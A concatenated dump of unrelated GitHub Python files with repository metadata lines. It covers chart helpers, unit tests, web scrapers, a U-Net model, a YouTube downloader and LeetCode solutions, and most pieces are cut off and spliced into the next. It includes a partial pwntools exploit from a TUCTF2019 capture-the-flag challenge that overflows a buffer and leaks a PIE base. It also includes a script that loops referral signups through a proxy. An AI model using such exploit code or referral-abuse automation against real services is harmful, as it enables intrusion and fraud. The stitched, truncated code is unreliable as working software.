isrc_cols = tracks.columns[tracks.columns.str.contains("isrc")].tolist()
album_cols = tracks.columns[tracks.columns.str.contains("album")].tol... | Sejmou/exploring-spotify-charts | data-collection-and-exploration/helpers/model.py | model.py | py | 3,256 | python | en | code | 2 | github-code | 36 |
34448705706 | """Test model file for users."""
from app.api.v1.models.user_models import UserModel, database
from .import BaseClass
class TestUserModel(BaseClass):
"""docstring for TestUserModel."""
def test_can_save_user(self):
"""Test if we can save a user."""
user = self.user1.save()
self.asser... | Bakley/SendIT-Api-V1 | test/test_user_model.py | test_user_model.py | py | 1,054 | python | en | code | 0 | github-code | 36 |
16589607570 | import random
import requests
import codecs
import json
import re
import queue
import time
from threading import Thread
requests.packages.urllib3.disable_warnings()
proxy = '127.0.0.1:8888'
def sec():
while True:
headers = {
'Referer': 'https://www.achievemint.com/signup?referral=1&utm_campaign=YOaBLXQNLBg%3D%0... | breitingerchris/public_code | Python/Achievemint/anker.py | anker.py | py | 1,509 | python | en | code | 0 | github-code | 36 |
40988144291 | from pathlib import Path
from typing import Any, Dict
import json
MockData = Dict[str, Any]
class Mock:
"""
A class that holds the `mock.json` file contents
"""
mock: MockData = {}
@staticmethod
def populate(mock_path: Path) -> None:
if not mock_path.exists():
raise Exce... | viscript/Ox4Shell | lib/mock.py | mock.py | py | 490 | python | en | code | null | github-code | 36 |
19915052730 | """
Write a function that takes directory path, a file extension and an optional tokenizer.
It will count lines in all files with that extension if there are no tokenizer.
If a the tokenizer is not none, it will count tokens.
For dir with two files from hw1.py:
#>>> universal_file_counter(test_dir, "txt")
6
#>>> univer... | Abbath90/python_epam | homework9/task3/file_counter.py | file_counter.py | py | 1,333 | python | en | code | 0 | github-code | 36 |
938934612 | import os
import json
class Settings:
def __init__(self, settings_directory, settings_default):
self.settings_directory = settings_directory
self.settings_default = settings_default
self.settings_file = os.path.join(self.settings_directory, "settings.json")
# Make sure a settings ... | ChimeraOS/chimera | chimera_app/settings.py | settings.py | py | 2,180 | python | en | code | 189 | github-code | 36 |
37989832631 | """
Steps to run:
python python policy_list_report_scraper.py
Program written in Python 3
Program Output:
1 file:
Exported_data.csv - csv file that contains the policy list report data
Program Description:
Progam first fetches the ASP login page paramters - __VIEWSTATE, __VIEWSTATEGENERATOR,
etc and then inputs the... | tebbythomas/Freelance_Projects | Web_Data_Extraction_Projects/J11_Finance_Pro_Policy_List_Report_Generator/Policy_List_Report/policy_list_report_scraper.py | policy_list_report_scraper.py | py | 7,187 | python | en | code | 1 | github-code | 36 |
74436898025 | t = int(input())
for _ in range(t):
n,m = [int(x) for x in input().split()]
a = []
for i in range(n):
a.append(input())
s = input()
l = len(s)
flag = 0
for i in range(l):
if(s[i] in a[i%n]):
f = a[i%n].index(s[i])
a[i%n] = a[i%n][:f]+a[i%n][f+1:]
... | hamdan-codes/codechef-unrated-contests | HackCon_String Generation.py | HackCon_String Generation.py | py | 449 | python | en | code | 2 | github-code | 36 |
21138228098 | import os, sys
path = "outages/"
dirs = os.listdir(path)
total_count = 0
total_count2 = 0
for filename in dirs:
count = 0
count2 = 0
with open(path+filename, "r") as f:
lines = f.readlines()
for line in lines:
word = line.split(" ")
if word and word[0] == "Message-ID:":
count+=1
if word and word[0]... | zhasun/CSE534Project | Data_Preprocessing/Tim/extract_and_assign_content/count_post.py | count_post.py | py | 617 | python | en | code | 0 | github-code | 36 |
9109984564 | from pwn import *
import struct
import re
def recvall(conn):
msg = b''
while True:
try:
new_block = conn.recv(timeout=1)
if new_block == b'':
break
msg += new_block
except EOFError as e:
break
return msg
def ret_to_main(pie_base_addr, conn):
payload = b'a'*0x2c
payload += struct.pack("<I", ... | Altelus1/Hacking_Adventures | TUCTF2019/pwn/leakalicious_prob/leakalicious_exploit.py | leakalicious_exploit.py | py | 2,287 | python | en | code | 0 | github-code | 36 |
477236470 | import io, os
from .comment_parser import CommentParser
from .create_parser import CreateParser
from .insert_parser import InsertParser
class Reader:
def __init__(self):
self._tables = {}
self._rows = {}
self._global_errors = []
self._global_warnings = []
self._parsing_error... | cmancone/mygrations | mygrations/formats/mysql/file_reader/reader.py | reader.py | py | 5,702 | python | en | code | 10 | github-code | 36 |
523657887 | #REGINALD HUEY TAN IAN JAY (S10239913) - IT01 (P01)
#============================== IMPORTING RESOURCES ===============================
import random, math, time
import os, asyncio
os.environ['PYGAME_HIDE_SUPPORT_PROMPT'] = "hide" #hide pygame initialisation message
from pygame import mixer
from S10239913E_Assignment_... | klystrn/Tower-Defence-Game | towerDefence.py | towerDefence.py | py | 42,879 | python | en | code | 0 | github-code | 36 |
26290834166 | """Tests for common_utils.py."""
import common_utils
import pytest
class TestCommonUtils:
def testGetFilePathShouldRaiseError(self):
common_utils.input = lambda _: 'foo'
with pytest.raises(FileNotFoundError):
common_utils.get_file_path()
common_utils.input = input
def testGetFilePathShouldNotR... | thompsond/PyAVMisc | com/AVMisc/common_utils_test.py | common_utils_test.py | py | 687 | python | en | code | 0 | github-code | 36 |
6296104681 | import requests
import urllib.parse
from models import PlayByPlay
from constants import headers
from db_utils import insert_many
class PlayByPlayRequester:
url = 'https://stats.nba.com/stats/playbyplayv2'
def __init__(self, settings):
self.settings = settings
self.settings.db.bind([PlayByPl... | Promise-Igbo/nba-sql | stats/play_by_play.py | play_by_play.py | py | 3,273 | python | en | code | null | github-code | 36 |
36057963305 | lst = [10, 5, 2, 7, 4, 9, 12, 1, 15]
l = list()
r = list()
#print(len(lst))
#print(len(list)//2)
for i in range(0, (len(lst)//2)):
l.append(lst[i])
print(l.__len__())
print(len(l))
for i in range((len(lst)//2), len(lst)):
r.append(lst[i])
print(r)
| srikloud/PyProjects | Sorts/mergesort.py | mergesort.py | py | 261 | python | en | code | 0 | github-code | 36 |
23219260357 | import random
def get_random_word():
words = ["pizza", "cheese", "apples"]
word = words[random.randint(0, len(words)-1)]
return word
def show_word(word):
for character in word:
print(character, end="")
def play_word_game():
strikes = 0
max_strikes = 3
playing = True
word ... | sizif/python-path-one | main.py | main.py | py | 723 | python | en | code | 0 | github-code | 36 |
71666166824 | # The following code was adapted from Week 3 Programming Assignment 2 in the Convolutional Neural Networks course by DeepLearning.AI offered on Coursera
# https://www.coursera.org/learn/convolutional-neural-networks/home/week/3
import tensorflow as tf
import numpy as np
from tensorflow.keras.layers import Input
fro... | AndrewZhang126/Neural-Networks | U-Net.py | U-Net.py | py | 6,154 | python | en | code | 1 | github-code | 36 |
40083862973 | #!/usr/bin/env python3
import argparse
import random
import json
import re
import importlib.util
import os.path
import sys
import types
import inspect
import pandas as pd
import numpy as np
MAX_SLOT=8
SMART_COMMENT="\\s*#+\\s*(fastscore|odg)\\.(\\S*)\\s*:\\s*(\\S*)\\s*$"
def is_input_slot(s):
return s % 2 == 0
##... | modelop/modelop.github.io | Product Manuals/Model Launchers/Python Launcher/lh.py | lh.py | py | 9,190 | python | en | code | 1 | github-code | 36 |
19568803995 | from random import randint
y = randint(1,5)
hscore = 0
cscore = 0
print("Winners and Losers - Human is Even, Computer is Odd")
for i in range (1, 6) :
print("Round: {}".format(i))
x = int(input("Enter Your Guess: "))
print ("Human Guess: {} - Computer Guess: {}".format(x , y))
sum = x + y
if sum % 2... | wgrevis/ifsc1202 | Exam One.py | Exam One.py | py | 609 | python | en | code | 0 | github-code | 36 |
10567641757 | import time
from datetime import datetime, timedelta
from pydantic import BaseModel
from fastapi import FastAPI, Depends, File, UploadFile, HTTPException, Request, status
from fastapi.responses import HTMLResponse, JSONResponse, FileResponse
import uvicorn
import os
from pytube import YouTube
from pytube import Playlis... | uponex/YoutubeAPI | main.py | main.py | py | 7,761 | python | en | code | 0 | github-code | 36 |
21704376256 | #
# @lc app=leetcode.cn id=40 lang=python3
#
# [40] 组合总和 II
#
from typing import List
# @lc code=start
class Solution:
def combinationSum2(self, candidates: List[int], target: int) -> List[List[int]]:
ans = []
current = []
def dfs(i, target):
if target == 0:
ans.append(current[:])
... | LinkTsang/.leetcode | solutions/40.组合总和-ii.py | 40.组合总和-ii.py | py | 780 | python | en | code | 0 | github-code | 36 |
69812436265 | import numpy as np
import cv2
from PIL import Image
#В этом скрипте делаем маску
#С помощью манипуляций с opencv создаем два файла
#первый - с контрастными крышами, второй - с выделенными дорогами
#затем - используя второй файл, убираем дороги с первого
image = "ZRYNEEUSVQ213QTY.png"
input = cv2.imread(image)
_, th =... | kekartem/BuildingDefine | RunFirst.py | RunFirst.py | py | 1,512 | python | ru | code | 0 | github-code | 36 |
70537874663 | import unittest
import player_factory
from inning_creator import Inning
from positional_data import StandardPosition
def collect_benched_players(inning):
bench_assignments = [
assignment for assignment in inning.assignments
if assignment.position.title == "Bench"
]
return bench_assignments... | jasonmrimer/roster | test_inning.py | test_inning.py | py | 2,193 | python | en | code | 0 | github-code | 36 |
34141195826 | import numpy as np
import torch
from snownlp import SnowNLP
from common_utils import *
from preprocessing.clean_data import batchify
def get_overlap(list1, list2):
"""
Returns a list of words that occur in both list1 and list2.
Also returns total number of words in list1 and in list2 (can be used
to ... | JasmineZhangxyz/ewb-ml-censorship | similarity/metrics/list_metrics.py | list_metrics.py | py | 4,969 | python | en | code | 0 | github-code | 36 |
11571428709 | from django.utils.module_loading import import_string
from django.urls import (RegexURLResolver, RegexURLPattern)
from CRM import settings
from collections import OrderedDict
def recursion_urls(pre_namespace, pre_url, urlpatterns, url_ordered_dict):
# None, '/', urlpatterns, url_ordered_dict
'''
第一次递归：
... | heyhito/CRM | rbac/server/routes.py | routes.py | py | 2,278 | python | en | code | 0 | github-code | 36 |
18913603323 | from collections import defaultdict
class Solution:
def valid_tree(self, n: int, edges: list[list[int]]) -> bool:
seen: set[int] = set()
children: dict[int, list[int]] = defaultdict(list)
for x, y in edges:
children[x].append(y)
children[y].append(x)
def d... | lancelote/leetcode | src/graph_valid_tree.py | graph_valid_tree.py | py | 689 | python | en | code | 3 | github-code | 36 |
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